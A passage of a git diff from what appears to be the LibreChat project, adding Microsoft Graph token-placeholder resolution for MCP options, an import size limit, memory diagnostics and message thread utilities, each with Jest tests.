mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe('Bearer resolved-graph-token'); + }); + + it('should resolve multiple placeholders in a string', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + + const value = + 'Primary: {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}, Secondary: {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }); + expect(result).toBe('Primary: resolved-graph-token, Secondary: resolved-graph-token'); + }); + + it('should return original value when graph token exchange fails', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + const failingResolver: GraphTokenResolver = jest.fn().mockRejectedValue(new Error('Exchange failed')); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: failingResolver, + }); + expect(result).toBe(value); + }); + + it('should return original value when graph token response has no access_token', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + const emptyResolver: GraphTokenResolver = jest.fn().mockResolvedValue({}); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + const result = await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: emptyResolver, + }); + expect(result).toBe(value); + }); + + it('should use provided scopes', async () => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + + const value = 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}'; + await resolveGraphTokenPlaceholder(value, { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + scopes: 'custom-scope', + }); + + expect(mockGraphTokenResolver).toHaveBeenCalledWith( + mockUser, + 'access-token', + 'custom-scope', + true, + ); + }); + }); + + describe('resolveGraphTokensInRecord', () => { + const mockUser: Partial = { + id: 'user-123', + provider: 'openid', + }; + + const mockGraphTokenResolver: GraphTokenResolver = jest.fn().mockResolvedValue({ + access_token: 'resolved-graph-token', + token_type: 'Bearer', + expires_in: 3600, + scope: 'https://graph.microsoft.com/.default', + }); + + const options: GraphTokenOptions = { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }; + + beforeEach(() => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + }); + + it('should return undefined for undefined record', async () => { + const result = await resolveGraphTokensInRecord(undefined, options); + expect(result).toBeUndefined(); + }); + + it('should return record unchanged when no placeholders present', async () => { + const record = { + Authorization: 'Bearer static-token', + 'Content-Type': 'application/json', + }; + const result = await resolveGraphTokensInRecord(record, options); + expect(result).toEqual(record); + }); + + it('should resolve placeholders in record values', async () => { + const record = { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'Content-Type': 'application/json', + }; + const result = await resolveGraphTokensInRecord(record, options); + expect(result).toEqual({ + Authorization: 'Bearer resolved-graph-token', + 'Content-Type': 'application/json', + }); + }); + + it('should handle non-string values gracefully', async () => { + const record = { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + numericValue: 123 as unknown as string, + }; + const result = await resolveGraphTokensInRecord(record, options); + expect(result).toEqual({ + Authorization: 'Bearer resolved-graph-token', + numericValue: 123, + }); + }); + }); + + describe('preProcessGraphTokens', () => { + const mockUser: Partial = { + id: 'user-123', + provider: 'openid', + }; + + const mockGraphTokenResolver: GraphTokenResolver = jest.fn().mockResolvedValue({ + access_token: 'resolved-graph-token', + token_type: 'Bearer', + expires_in: 3600, + scope: 'https://graph.microsoft.com/.default', + }); + + const graphOptions: GraphTokenOptions = { + user: mockUser as TUser, + graphTokenResolver: mockGraphTokenResolver, + }; + + beforeEach(() => { + mockExtractOpenIDTokenInfo.mockReturnValue({ accessToken: 'access-token' }); + mockIsOpenIDTokenValid.mockReturnValue(true); + }); + + it('should return options unchanged when no placeholders present', async () => { + const options = { + url: 'https://api.example.com', + headers: { Authorization: 'Bearer static-token' }, + env: { API_KEY: 'some-key' }, + }; + const result = await preProcessGraphTokens(options, graphOptions); + expect(result).toEqual(options); + }); + + it('should resolve placeholder in url', async () => { + const options = { + url: 'https://api.example.com?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }; + const result = await preProcessGraphTokens(options, graphOptions); + expect(result.url).toBe('https://api.example.com?token=resolved-graph-token'); + }); + + it('should resolve placeholder in headers', async () => { + const options = { + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + 'Content-Type': 'application/json', + }, + }; + const result = await preProcessGraphTokens(options, graphOptions); + expect(result.headers).toEqual({ + Authorization: 'Bearer resolved-graph-token', + 'Content-Type': 'application/json', + }); + }); + + it('should resolve placeholder in env', async () => { + const options = { + env: { + GRAPH_TOKEN: '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + OTHER_VAR: 'static-value', + }, + }; + const result = await preProcessGraphTokens(options, graphOptions); + expect(result.env).toEqual({ + GRAPH_TOKEN: 'resolved-graph-token', + OTHER_VAR: 'static-value', + }); + }); + + it('should resolve placeholders in all fields simultaneously', async () => { + const options = { + url: 'https://api.example.com?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }, + env: { + GRAPH_TOKEN: '{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }, + }; + const result = await preProcessGraphTokens(options, graphOptions); + expect(result.url).toBe('https://api.example.com?token=resolved-graph-token'); + expect(result.headers).toEqual({ + Authorization: 'Bearer resolved-graph-token', + }); + expect(result.env).toEqual({ + GRAPH_TOKEN: 'resolved-graph-token', + }); + }); + + it('should not mutate the original options object', async () => { + const options = { + url: 'https://api.example.com?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + headers: { + Authorization: 'Bearer {{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + }, + }; + const originalUrl = options.url; + const originalAuth = options.headers.Authorization; + + await preProcessGraphTokens(options, graphOptions); + + expect(options.url).toBe(originalUrl); + expect(options.headers.Authorization).toBe(originalAuth); + }); + + it('should preserve additional properties in generic type', async () => { + const options = { + url: 'https://api.example.com?token={{LIBRECHAT_GRAPH_ACCESS_TOKEN}}', + customProperty: 'custom-value', + anotherProperty: 42, + }; + const result = await preProcessGraphTokens(options, graphOptions); + expect(result.customProperty).toBe('custom-value'); + expect(result.anotherProperty).toBe(42); + expect(result.url).toBe('https://api.example.com?token=resolved-graph-token'); + }); + }); +}); diff --git a/packages/api/src/utils/graph.ts b/packages/api/src/utils/graph.ts new file mode 100644 index 0000000000..0ff3fc3583 --- /dev/null +++ b/packages/api/src/utils/graph.ts @@ -0,0 +1,215 @@ +import { logger } from '@librechat/data-schemas'; +import type { IUser } from '@librechat/data-schemas'; +import { + GRAPH_TOKEN_PLACEHOLDER, + DEFAULT_GRAPH_SCOPES, + extractOpenIDTokenInfo, + isOpenIDTokenValid, +} from './oidc'; + +/** + * Pre-computed regex for matching the Graph token placeholder. + * Escapes curly braces in the placeholder string for safe regex use. + */ +const GRAPH_TOKEN_REGEX = new RegExp( + GRAPH_TOKEN_PLACEHOLDER.replace(/[{}]/g, '\\$&'), + 'g', +); + +/** + * Response from a Graph API token exchange. + */ +export interface GraphTokenResponse { + access_token: string; + token_type: string; + expires_in: number; + scope: string; +} + +/** + * Function type for resolving Graph API tokens via OBO flow. + * This function is injected from the main API layer since it requires + * access to OpenID configuration and caching services. + */ +export type GraphTokenResolver = ( + user: IUser, + accessToken: string, + scopes: string, + fromCache?: boolean, +) => Promise; + +/** + * Options for processing Graph token placeholders. + */ +export interface GraphTokenOptions { + user?: IUser; + graphTokenResolver?: GraphTokenResolver; + scopes?: string; +} + +/** + * Checks if a string contains the Graph token placeholder. + * @param value - The string to check + * @returns True if the placeholder is present + */ +export function containsGraphTokenPlaceholder(value: string): boolean { + return typeof value === 'string' && value.includes(GRAPH_TOKEN_PLACEHOLDER); +} + +/** + * Checks if any value in a record contains the Graph token placeholder. + * @param record - The record to check (e.g., headers, env vars) + * @returns True if any value contains the placeholder + */ +export function recordContainsGraphTokenPlaceholder( + record: Record | undefined, +): boolean { + if (!record || typeof record !== 'object') { + return false; + } + return Object.values(record).some(containsGraphTokenPlaceholder); +} + +/** + * Checks if MCP options contain the Graph token placeholder in headers, env, or url. + * @param options - The MCP options object + * @returns True if any field contains the placeholder + */ +export function mcpOptionsContainGraphTokenPlaceholder(options: { + headers?: Record; + env?: Record; + url?: string; +}): boolean { + if (options.url && containsGraphTokenPlaceholder(options.url)) { + return true; + } + if (recordContainsGraphTokenPlaceholder(options.headers)) { + return true; + } + if (recordContainsGraphTokenPlaceholder(options.env)) { + return true; + } + return false; +} + +/** + * Asynchronously resolves Graph token placeholders in a string. + * This function must be called before the synchronous processMCPEnv pipeline. + * + * @param value - The string containing the placeholder + * @param options - Options including user and graph token resolver + * @returns The string with Graph token placeholder replaced + */ +export async function resolveGraphTokenPlaceholder( + value: string, + options: GraphTokenOptions, +): Promise { + if (!containsGraphTokenPlaceholder(value)) { + return value; + } + + const { user, graphTokenResolver, scopes } = options; + + if (!user || !graphTokenResolver) { + logger.warn( + '[resolveGraphTokenPlaceholder] User or graphTokenResolver not provided, cannot resolve Graph token', + ); + return value; + } + + const tokenInfo = extractOpenIDTokenInfo(user); + if (!tokenInfo || !isOpenIDTokenValid(tokenInfo)) { + logger.warn( + '[resolveGraphTokenPlaceholder] No valid OpenID token available for Graph token exchange', + ); + return value; + } + + if (!tokenInfo.accessToken) { + logger.warn('[resolveGraphTokenPlaceholder] No access token available for OBO exchange'); + return value; + } + + try { + const graphScopes = scopes || process.env.GRAPH_API_SCOPES || DEFAULT_GRAPH_SCOPES; + const graphTokenResponse = await graphTokenResolver( + user, + tokenInfo.accessToken, + graphScopes, + true, // Use cache + ); + + if (graphTokenResponse?.access_token) { + return value.replace(GRAPH_TOKEN_REGEX, graphTokenResponse.access_token); + } + + logger.warn('[resolveGraphTokenPlaceholder] Graph token exchange did not return an access token'); + return value; + } catch (error) { + logger.error('[resolveGraphTokenPlaceholder] Failed to exchange token for Graph API:', error); + return value; + } +} + +/** + * Asynchronously resolves Graph token placeholders in a record of string values. + * + * @param record - The record containing placeholders (e.g., headers) + * @param options - Options including user and graph token resolver + * @returns The record with Graph token placeholders replaced + */ +export async function resolveGraphTokensInRecord( + record: Record | undefined, + options: GraphTokenOptions, +): Promise | undefined> { + if (!record || typeof record !== 'object') { + return record; + } + + if (!recordContainsGraphTokenPlaceholder(record)) { + return record; + } + + const resolved: Record = {}; + for (const [key, value] of Object.entries(record)) { + resolved[key] = await resolveGraphTokenPlaceholder(value, options); + } + return resolved; +} + +/** + * Pre-processes MCP options to resolve Graph token placeholders. + * This must be called before processMCPEnv since Graph token resolution is async. + * + * @param options - The MCP options object + * @param graphOptions - Options for Graph token resolution + * @returns The options with Graph token placeholders resolved + */ +export async function preProcessGraphTokens; + env?: Record; + url?: string; +}>( + options: T, + graphOptions: GraphTokenOptions, +): Promise { + if (!mcpOptionsContainGraphTokenPlaceholder(options)) { + return options; + } + + const result = { ...options }; + + if (result.url && containsGraphTokenPlaceholder(result.url)) { + result.url = await resolveGraphTokenPlaceholder(result.url, graphOptions); + } + + if (result.headers) { + result.headers = await resolveGraphTokensInRecord(result.headers, graphOptions); + } + + if (result.env) { + result.env = await resolveGraphTokensInRecord(result.env, graphOptions); + } + + return result; +} diff --git a/packages/api/src/utils/import.ts b/packages/api/src/utils/import.ts new file mode 100644 index 0000000000..94a2c8f818 --- /dev/null +++ b/packages/api/src/utils/import.ts @@ -0,0 +1,20 @@ +import { logger } from '@librechat/data-schemas'; + +/** 250 MiB — default max file size for conversation imports */ +export const DEFAULT_IMPORT_MAX_FILE_SIZE = 262144000; + +/** Resolves the import file-size limit from the env var, falling back to the 250 MiB default */ +export function resolveImportMaxFileSize(): number { + const raw = process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES; + if (!raw) { + return DEFAULT_IMPORT_MAX_FILE_SIZE; + } + const parsed = Number(raw); + if (!Number.isFinite(parsed) || parsed <= 0) { + logger.warn( + `[imports] Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES="${raw}"; using default ${DEFAULT_IMPORT_MAX_FILE_SIZE}`, + ); + return DEFAULT_IMPORT_MAX_FILE_SIZE; + } + return parsed; +} diff --git a/packages/api/src/utils/index.ts b/packages/api/src/utils/index.ts index 947e566ce0..5b9315d8c7 100644 --- a/packages/api/src/utils/index.ts +++ b/packages/api/src/utils/index.ts @@ -6,20 +6,23 @@ export * from './email'; export * from './env'; export * from './events'; export * from './files'; +export * from './import'; export * from './generators'; +export * from './graph'; export * from './path'; export * from './key'; export * from './latex'; export * from './llm'; export * from './math'; +export * from './oidc'; export * from './openid'; export * from './promise'; export * from './sanitizeTitle'; export * from './tempChatRetention'; export * from './text'; -export { default as Tokenizer, countTokens } from './tokenizer'; export * from './yaml'; export * from './http'; export * from './tokens'; export * from './url'; export * from './message'; +export * from './tracing'; diff --git a/packages/api/src/utils/memory.ts b/packages/api/src/utils/memory.ts new file mode 100644 index 0000000000..214548d14b --- /dev/null +++ b/packages/api/src/utils/memory.ts @@ -0,0 +1,150 @@ +import { logger } from '@librechat/data-schemas'; +import { GenerationJobManager } from '~/stream'; +import { OAuthReconnectionManager } from '~/mcp/oauth/OAuthReconnectionManager'; +import { MCPManager } from '~/mcp/MCPManager'; + +type ConnectionStats = ReturnType['getConnectionStats']>; +type TrackerStats = ReturnType['getTrackerStats']>; +type RuntimeStats = ReturnType<(typeof GenerationJobManager)['getRuntimeStats']>; + +const INTERVAL_MS = 60_000; +const SNAPSHOT_HISTORY_LIMIT = 120; + +interface MemorySnapshot { + ts: number; + rss: number; + heapUsed: number; + heapTotal: number; + external: number; + arrayBuffers: number; + mcpConnections: ConnectionStats | null; + oauthTracker: TrackerStats | null; + generationJobs: RuntimeStats | null; +} + +const snapshots: MemorySnapshot[] = []; +let interval: NodeJS.Timeout | null = null; + +function toMB(bytes: number): string { + return (bytes / 1024 / 1024).toFixed(2); +} + +function getMCPStats(): { + mcpConnections: ConnectionStats | null; + oauthTracker: TrackerStats | null; +} { + let mcpConnections: ConnectionStats | null = null; + let oauthTracker: TrackerStats | null = null; + + try { + mcpConnections = MCPManager.getInstance().getConnectionStats(); + } catch { + /* not initialized yet */ + } + + try { + oauthTracker = OAuthReconnectionManager.getInstance().getTrackerStats(); + } catch { + /* not initialized yet */ + } + + return { mcpConnections, oauthTracker }; +} + +function getJobStats(): { generationJobs: RuntimeStats | null } { + try { + return { generationJobs: GenerationJobManager.getRuntimeStats() }; + } catch { + return { generationJobs: null }; + } +} + +function collectSnapshot(): void { + const mem = process.memoryUsage(); + const mcpStats = getMCPStats(); + const jobStats = getJobStats(); + + const snapshot: MemorySnapshot = { + ts: Date.now(), + rss: mem.rss, + heapUsed: mem.heapUsed, + heapTotal: mem.heapTotal, + external: mem.external, + arrayBuffers: mem.arrayBuffers ?? 0, + ...mcpStats, + ...jobStats, + }; + + snapshots.push(snapshot); + if (snapshots.length > SNAPSHOT_HISTORY_LIMIT) { + snapshots.shift(); + } + + logger.debug('[MemDiag] Snapshot', { + rss: `${toMB(mem.rss)} MB`, + heapUsed: `${toMB(mem.heapUsed)} MB`, + heapTotal: `${toMB(mem.heapTotal)} MB`, + external: `${toMB(mem.external)} MB`, + arrayBuffers: `${toMB(mem.arrayBuffers ?? 0)} MB`, + mcp: mcpStats, + jobs: jobStats, + snapshotCount: snapshots.length, + }); + + if (snapshots.length < 3) { + return; + } + + const first = snapshots[0]; + const last = snapshots[snapshots.length - 1]; + const elapsedMin = (last.ts - first.ts) / 60_000; + if (elapsedMin < 0.1) { + return; + } + const rssDelta = last.rss - first.rss; + const heapDelta = last.heapUsed - first.heapUsed; + logger.debug('[MemDiag] Trend', { + overMinutes: elapsedMin.toFixed(1), + rssDelta: `${toMB(rssDelta)} MB`, + heapDelta: `${toMB(heapDelta)} MB`, + rssRate: `${toMB((rssDelta / elapsedMin) * 60)} MB/hr`, + heapRate: `${toMB((heapDelta / elapsedMin) * 60)} MB/hr`, + }); +} + +function forceGC(): boolean { + if (global.gc) { + global.gc(); + logger.info('[MemDiag] Forced garbage collection'); + return true; + } + logger.warn('[MemDiag] GC not exposed. Start with --expose-gc to enable.'); + return false; +} + +function getSnapshots(): readonly MemorySnapshot[] { + return snapshots; +} + +function start(): void { + if (interval) { + return; + } + logger.info(`[MemDiag] Starting memory diagnostics (interval: ${INTERVAL_MS / 1000}s)`); + collectSnapshot(); + interval = setInterval(collectSnapshot, INTERVAL_MS); + if (interval.unref) { + interval.unref(); + } +} + +function stop(): void { + if (!interval) { + return; + } + clearInterval(interval); + interval = null; + logger.info('[MemDiag] Stopped memory diagnostics'); +} + +export const memoryDiagnostics = { start, stop, forceGC, getSnapshots, collectSnapshot }; diff --git a/packages/api/src/utils/message.spec.ts b/packages/api/src/utils/message.spec.ts index 144ebc1a92..7fe6cf5239 100644 --- a/packages/api/src/utils/message.spec.ts +++ b/packages/api/src/utils/message.spec.ts @@ -1,4 +1,13 @@ -import { sanitizeFileForTransmit, sanitizeMessageForTransmit } from './message'; +import { Constants } from 'librechat-data-provider'; +import { + sanitizeMessageForTransmit, + sanitizeFileForTransmit, + buildMessageFiles, + getThreadData, +} from './message'; + +/** Cast to string for type compatibility with ThreadMessage */ +const NO_PARENT = Constants.NO_PARENT as string; describe('sanitizeFileForTransmit', () => { it('should remove text field from file', () => { @@ -120,3 +129,332 @@ describe('sanitizeMessageForTransmit', () => { expect(message.files[0].text).toBe('original text'); }); }); + +describe('buildMessageFiles', () => { + const baseAttachment = { + file_id: 'file-1', + filename: 'test.png', + filepath: '/uploads/test.png', + type: 'image/png', + bytes: 512, + object: 'file' as const, + user: 'user-1', + embedded: false, + usage: 0, + text: 'big ocr text', + _id: 'mongo-id', + }; + + it('returns sanitized files matching request file IDs', () => { + const result = buildMessageFiles([{ file_id: 'file-1' }], [baseAttachment]); + expect(result).toHaveLength(1); + expect(result?.[0].file_id).toBe('file-1'); + expect(result?.[0]).not.toHaveProperty('text'); + expect(result?.[0]).not.toHaveProperty('_id'); + }); + + it('returns undefined when no attachments match request IDs', () => { + const result = buildMessageFiles([{ file_id: 'file-nomatch' }], [baseAttachment]); + expect(result).toEqual([]); + }); + + it('returns undefined for empty attachments array', () => { + const result = buildMessageFiles([{ file_id: 'file-1' }], []); + expect(result).toEqual([]); + }); + + it('returns undefined for empty request files array', () => { + const result = buildMessageFiles([], [baseAttachment]); + expect(result).toEqual([]); + }); + + it('filters out undefined file_id entries in request files (no set poisoning)', () => { + const undefinedAttachment = { ...baseAttachment, file_id: undefined as unknown as string }; + const result = buildMessageFiles( + [{ file_id: undefined }, { file_id: 'file-1' }], + [undefinedAttachment, baseAttachment], + ); + expect(result).toHaveLength(1); + expect(result?.[0].file_id).toBe('file-1'); + }); + + it('returns only attachments whose file_id is in the request set', () => { + const attachment2 = { ...baseAttachment, file_id: 'file-2', filename: 'b.png' }; + const result = buildMessageFiles([{ file_id: 'file-1' }], [baseAttachment, attachment2]); + expect(result).toHaveLength(1); + expect(result?.[0].file_id).toBe('file-1'); + }); + + it('does not mutate original attachment objects', () => { + buildMessageFiles([{ file_id: 'file-1' }], [baseAttachment]); + expect(baseAttachment.text).toBe('big ocr text'); + expect(baseAttachment._id).toBe('mongo-id'); + }); +}); + +describe('getThreadData', () => { + it('should return empty result for empty messages array', () => { + const result = getThreadData([], 'parent-123'); + + expect(result.messageIds).toEqual([]); + expect(result.fileIds).toEqual([]); + }); + + it('should return empty result for null parentMessageId', () => { + const messages = [ + { messageId: 'msg-1', parentMessageId: null }, + { messageId: 'msg-2', parentMessageId: 'msg-1' }, + ]; + + const result = getThreadData(messages, null); + + expect(result.messageIds).toEqual([]); + expect(result.fileIds).toEqual([]); + }); + + it('should return empty result for undefined parentMessageId', () => { + const messages = [{ messageId: 'msg-1', parentMessageId: null }]; + + const result = getThreadData(messages, undefined); + + expect(result.messageIds).toEqual([]); + expect(result.fileIds).toEqual([]); + }); + + it('should return empty result when parentMessageId not found in messages', () => { + const messages = [ + { messageId: 'msg-1', parentMessageId: null }, + { messageId: 'msg-2', parentMessageId: 'msg-1' }, + ]; + + const result = getThreadData(messages, 'non-existent'); + + expect(result.messageIds).toEqual([]); + expect(result.fileIds).toEqual([]); + }); + + describe('thread traversal', () => { + it('should traverse a simple linear thread', () => { + const messages = [ + { messageId: 'msg-1', parentMessageId: NO_PARENT }, + { messageId: 'msg-2', parentMessageId: 'msg-1' }, + { messageId: 'msg-3', parentMessageId: 'msg-2' }, + ]; + + const result = getThreadData(messages, 'msg-3'); + + expect(result.messageIds).toEqual(['msg-3', 'msg-2', 'msg-1']); + expect(result.fileIds).toEqual([]); + }); + + it('should stop at NO_PARENT constant', () => { + const messages = [ + { messageId: 'msg-1', parentMessageId: NO_PARENT }, + { messageId: 'msg-2', parentMessageId: 'msg-1' }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + expect(result.messageIds).toEqual(['msg-2', 'msg-1']); + }); + + it('should collect only messages in the thread branch', () => { + // Branched conversation: msg-1 -> msg-2 -> msg-3 (branch A) + // msg-1 -> msg-4 -> msg-5 (branch B) + const messages = [ + { messageId: 'msg-1', parentMessageId: NO_PARENT }, + { messageId: 'msg-2', parentMessageId: 'msg-1' }, + { messageId: 'msg-3', parentMessageId: 'msg-2' }, + { messageId: 'msg-4', parentMessageId: 'msg-1' }, + { messageId: 'msg-5', parentMessageId: 'msg-4' }, + ]; + + const resultBranchA = getThreadData(messages, 'msg-3'); + expect(resultBranchA.messageIds).toEqual(['msg-3', 'msg-2', 'msg-1']); + + const resultBranchB = getThreadData(messages, 'msg-5'); + expect(resultBranchB.messageIds).toEqual(['msg-5', 'msg-4', 'msg-1']); + }); + + it('should handle single message thread', () => { + const messages = [{ messageId: 'msg-1', parentMessageId: NO_PARENT }]; + + const result = getThreadData(messages, 'msg-1'); + + expect(result.messageIds).toEqual(['msg-1']); + expect(result.fileIds).toEqual([]); + }); + }); + + describe('circular reference protection', () => { + it('should handle circular references without infinite loop', () => { + // Malformed data: msg-2 points to msg-3 which points back to msg-2 + const messages = [ + { messageId: 'msg-1', parentMessageId: NO_PARENT }, + { messageId: 'msg-2', parentMessageId: 'msg-3' }, + { messageId: 'msg-3', parentMessageId: 'msg-2' }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + // Should stop when encountering a visited ID + expect(result.messageIds).toEqual(['msg-2', 'msg-3']); + expect(result.fileIds).toEqual([]); + }); + + it('should handle self-referencing message', () => { + const messages = [{ messageId: 'msg-1', parentMessageId: 'msg-1' }]; + + const result = getThreadData(messages, 'msg-1'); + + expect(result.messageIds).toEqual(['msg-1']); + }); + }); + + describe('file ID collection', () => { + it('should collect file IDs from messages with files', () => { + const messages = [ + { + messageId: 'msg-1', + parentMessageId: NO_PARENT, + files: [{ file_id: 'file-1' }, { file_id: 'file-2' }], + }, + { + messageId: 'msg-2', + parentMessageId: 'msg-1', + files: [{ file_id: 'file-3' }], + }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + expect(result.messageIds).toEqual(['msg-2', 'msg-1']); + expect(result.fileIds).toContain('file-1'); + expect(result.fileIds).toContain('file-2'); + expect(result.fileIds).toContain('file-3'); + expect(result.fileIds).toHaveLength(3); + }); + + it('should deduplicate file IDs across messages', () => { + const messages = [ + { + messageId: 'msg-1', + parentMessageId: NO_PARENT, + files: [{ file_id: 'file-shared' }, { file_id: 'file-1' }], + }, + { + messageId: 'msg-2', + parentMessageId: 'msg-1', + files: [{ file_id: 'file-shared' }, { file_id: 'file-2' }], + }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + expect(result.fileIds).toContain('file-shared'); + expect(result.fileIds).toContain('file-1'); + expect(result.fileIds).toContain('file-2'); + expect(result.fileIds).toHaveLength(3); + }); + + it('should skip files without file_id', () => { + const messages = [ + { + messageId: 'msg-1', + parentMessageId: NO_PARENT, + files: [{ file_id: 'file-1' }, { file_id: undefined }, { file_id: '' }], + }, + ]; + + const result = getThreadData(messages, 'msg-1'); + + expect(result.fileIds).toEqual(['file-1']); + }); + + it('should handle messages with empty files array', () => { + const messages = [ + { + messageId: 'msg-1', + parentMessageId: NO_PARENT, + files: [], + }, + { + messageId: 'msg-2', + parentMessageId: 'msg-1', + files: [{ file_id: 'file-1' }], + }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + expect(result.messageIds).toEqual(['msg-2', 'msg-1']); + expect(result.fileIds).toEqual(['file-1']); + }); + + it('should handle messages without files property', () => { + const messages = [ + { messageId: 'msg-1', parentMessageId: NO_PARENT }, + { + messageId: 'msg-2', + parentMessageId: 'msg-1', + files: [{ file_id: 'file-1' }], + }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + expect(result.messageIds).toEqual(['msg-2', 'msg-1']); + expect(result.fileIds).toEqual(['file-1']); + }); + + it('should only collect files from messages in the thread', () => { + // msg-3 is not in the thread from msg-2 + const messages = [ + { + messageId: 'msg-1', + parentMessageId: NO_PARENT, + files: [{ file_id: 'file-1' }], + }, + { + messageId: 'msg-2', + parentMessageId: 'msg-1', + files: [{ file_id: 'file-2' }], + }, + { + messageId: 'msg-3', + parentMessageId: 'msg-1', + files: [{ file_id: 'file-3' }], + }, + ]; + + const result = getThreadData(messages, 'msg-2'); + + expect(result.fileIds).toContain('file-1'); + expect(result.fileIds).toContain('file-2'); + expect(result.fileIds).not.toContain('file-3'); + }); + }); + + describe('performance - O(1) lookups', () => { + it('should handle large message arrays efficiently', () => { + // Create a linear thread of 1000 messages + const messages = []; + for (let i = 0; i < 1000; i++) { + messages.push({ + messageId: `msg-${i}`, + parentMessageId: i === 0 ? NO_PARENT : `msg-${i - 1}`, + files: [{ file_id: `file-${i}` }], + }); + } + + const startTime = performance.now(); + const result = getThreadData(messages, 'msg-999'); + const endTime = performance.now(); + + expect(result.messageIds).toHaveLength(1000); + expect(result.fileIds).toHaveLength(1000); + // Should complete in reasonable time (< 100ms for 1000 messages) + expect(endTime - startTime).toBeLessThan(100); + }); + }); +}); diff --git a/packages/api/src/utils/message.ts b/packages/api/src/utils/message.ts index 312826b6ba..719d04b838 100644 --- a/packages/api/src/utils/message.ts +++ b/packages/api/src/utils/message.ts @@ -1,5 +1,9 @@ +import { Constants } from 'librechat-data-provider'; import type { TFile, TMessage } from 'librechat-data-provider'; +/** Minimal shape for request file entries (from `req.body.files`) */ +type RequestFile = { file_id?: string }; + /** Fields to strip from files before client transmission */ const FILE_STRIP_FIELDS = ['text', '_id', '__v'] as const; @@ -31,6 +35,27 @@ export function sanitizeFileForTransmit>( return sanitized; } +/** Filters attachments to those whose `file_id` appears in `requestFiles`, then sanitizes each. */ +export function buildMessageFiles>( + requestFiles: RequestFile[], + attachments: T[], +): Omit[] { + const requestFileIds = new Set(); + for (const f of requestFiles) { + if (f.file_id) { + requestFileIds.add(f.file_id); + } + } + + const files: Omit[] = []; + for (const attachment of attachments) { + if (attachment.file_id != null && requestFileIds.has(attachment.file_id)) { + files.push(sanitizeFileForTransmit(attachment)); + } + } + return files; +} + /** * Sanitizes a message object before transmitting to client. * Removes large fields like `fileContext` and strips `text` from embedded files. @@ -66,3 +91,74 @@ export function sanitizeMessageForTransmit>( return sanitized; } + +/** Minimal message shape for thread traversal */ +type ThreadMessage = { + messageId: string; + parentMessageId?: string | null; + files?: Array<{ file_id?: string }>; +}; + +/** Result of thread data extraction */ +export type ThreadData = { + messageIds: string[]; + fileIds: string[]; +}; + +/** + * Extracts thread message IDs and file IDs in a single O(n) pass. + * Builds a Map for O(1) lookups, then traverses the thread collecting both IDs. + * + * @param messages - All messages in the conversation (should be queried with select for efficiency) + * @param parentMessageId - The ID of the parent message to start traversal from + * @returns Object containing messageIds and fileIds arrays + */ +export function getThreadData( + messages: ThreadMessage[], + parentMessageId: string | null | undefined, +): ThreadData { + const result: ThreadData = { messageIds: [], fileIds: [] }; + + if (!messages || messages.length === 0 || !parentMessageId) { + return result; + } + + /** Build Map for O(1) lookups instead of O(n) .find() calls */ + const messageMap = new Map(); + for (const msg of messages) { + messageMap.set(msg.messageId, msg); + } + + const fileIdSet = new Set(); + const visitedIds = new Set(); + let currentId: string | null | undefined = parentMessageId; + + /** Single traversal: collect message IDs and file IDs together */ + while (currentId) { + if (visitedIds.has(currentId)) { + break; + } + visitedIds.add(currentId); + + const message = messageMap.get(currentId); + if (!message) { + break; + } + + result.messageIds.push(message.messageId); + + /** Collect file IDs from this message */ + if (message.files) { + for (const file of message.files) { + if (file.file_id) { + fileIdSet.add(file.file_id); + } + } + } + + currentId = message.parentMessageId === Constants.NO_PARENT ? null : message.parentMessageId; + } + + result.fileIds = Array.from(fileIdSet); + return result; +} diff --git a/packages/api/src/utils/oidc.spec.ts b/packages/api/src/utils/oidc.spec.ts index a5312e9c69..0d7216304b 100644 --- a/packages/api/src/utils/oidc.spec.ts +++ b/packages/api/src/utils/oidc.spec.ts @@ -427,6 +427,35 